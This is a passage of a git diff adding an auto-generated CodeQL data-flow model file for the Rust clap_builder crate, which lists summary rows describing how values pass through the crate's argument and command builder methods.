b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml new file mode 100644 index 000000000000..a26bc4c1a0ba --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_builder.model.yml @@ -0,0 +1,394 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_builder", "<_ as crate::builder::value_parser::TypedValueParser>::parse_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::into_resettable", "Argument[self]", "ReturnValue.Field[crate::builder::resettable::Resettable::Value(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::action", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_hyphen_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_negative_numbers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_value_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_missing_values_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_if", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_if_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_ifs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_ifs_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_value_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::default_values_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::env_os", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::exclusive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_action", "Argument[self].Field[crate::builder::arg::Arg::action].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_default_values", "Argument[self].Field[crate::builder::arg::Arg::default_vals]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_display_order", "Argument[self].Field[crate::builder::arg::Arg::disp_ord].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_env", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help", "Argument[self].Field[crate::builder::arg::Arg::help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_id", "Argument[self].Field[crate::builder::arg::Arg::id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_index", "Argument[self].Field[crate::builder::arg::Arg::index]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_long_help", "Argument[self].Field[crate::builder::arg::Arg::long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_num_args", "Argument[self].Field[crate::builder::arg::Arg::num_vals]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_short", "Argument[self].Field[crate::builder::arg::Arg::short]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_delimiter", "Argument[self].Field[crate::builder::arg::Arg::val_delim]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_names", "Argument[self].Field[crate::builder::arg::Arg::val_names]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_value_terminator", "Argument[self].Field[crate::builder::arg::Arg::terminator].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::global", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_default_value", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_env", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_env_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_possible_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_short_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ignore_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::last", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_line_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::num_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::number_of_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::overrides_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::overrides_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::raw", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::require_equals", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_if_eq_any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required_unless_present_any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_if", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_ifs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::trailing_var_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::use_value_delimiter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_delimiter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_hint", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_names", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_parser", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::value_terminator", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_short_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::conflicts_with_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_id", "Argument[self].Field[crate::builder::arg_group::ArgGroup::id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_multiple", "Argument[self].Field[crate::builder::arg_group::ArgGroup::multiple]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::is_required_set", "Argument[self].Field[crate::builder::arg_group::ArgGroup::required]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[0]", "Argument[self].Field[crate::builder::arg_group::ArgGroup::multiple]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[0]", "ReturnValue.Field[crate::builder::arg_group::ArgGroup::multiple]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multiple", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "Argument[self].Field[crate::builder::arg_group::ArgGroup::required]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[0]", "ReturnValue.Field[crate::builder::arg_group::ArgGroup::required]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::requires_all", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bitor", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::from", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::about", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::add", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::after_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::after_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_external_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_hyphen_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_missing_positional", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::allow_negative_numbers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::arg_required_else_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args_conflicts_with_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::args_override_self", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::author", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::before_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::before_long_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::bin_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::color", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[0]", "Argument[self].Field[crate::builder::command::Command::deferred].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[0]", "ReturnValue.Field[crate::builder::command::Command::deferred].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::defer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_colored_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_help_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_help_subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::disable_version_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::dont_collapse_args_in_usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::dont_delimit_trailing_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::external_subcommand_value_parser", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::flatten_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_about", "Argument[self].Field[crate::builder::command::Command::about].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_after_help", "Argument[self].Field[crate::builder::command::Command::after_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_after_long_help", "Argument[self].Field[crate::builder::command::Command::after_long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_before_help", "Argument[self].Field[crate::builder::command::Command::before_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_before_long_help", "Argument[self].Field[crate::builder::command::Command::before_long_help].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_display_order", "Argument[self].Field[crate::builder::command::Command::disp_ord].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_external_subcommand_value_parser", "Argument[self].Field[crate::builder::command::Command::external_value_parser].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_help_template", "Argument[self].Field[crate::builder::command::Command::template].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_keymap", "Argument[self].Field[crate::builder::command::Command::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_long_about", "Argument[self].Field[crate::builder::command::Command::long_about].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_override_help", "Argument[self].Field[crate::builder::command::Command::help_str].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_override_usage", "Argument[self].Field[crate::builder::command::Command::usage_str].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::get_short_flag", "Argument[self].Field[crate::builder::command::Command::short_flag]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::global_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::groups", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_expected", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::help_template", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::hide_possible_values", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::ignore_errors", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_long_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::infer_subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_about", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_help_exists", "Argument[self].Field[crate::builder::command::Command::long_help_exists]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::long_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::max_term_width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::multicall", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_args", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_group", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::mut_subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_display_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::next_line_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::no_binary_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::override_help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::override_usage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::propagate_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::short_flag_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::styles", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_help_heading", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_negates_reqs", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_precedence_over_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommand_value_name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::subcommands", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::term_width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::trailing_var_arg", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_global_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::unset_setting", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_alias", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_aliases", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_builder", "::visible_long_flag_alias", 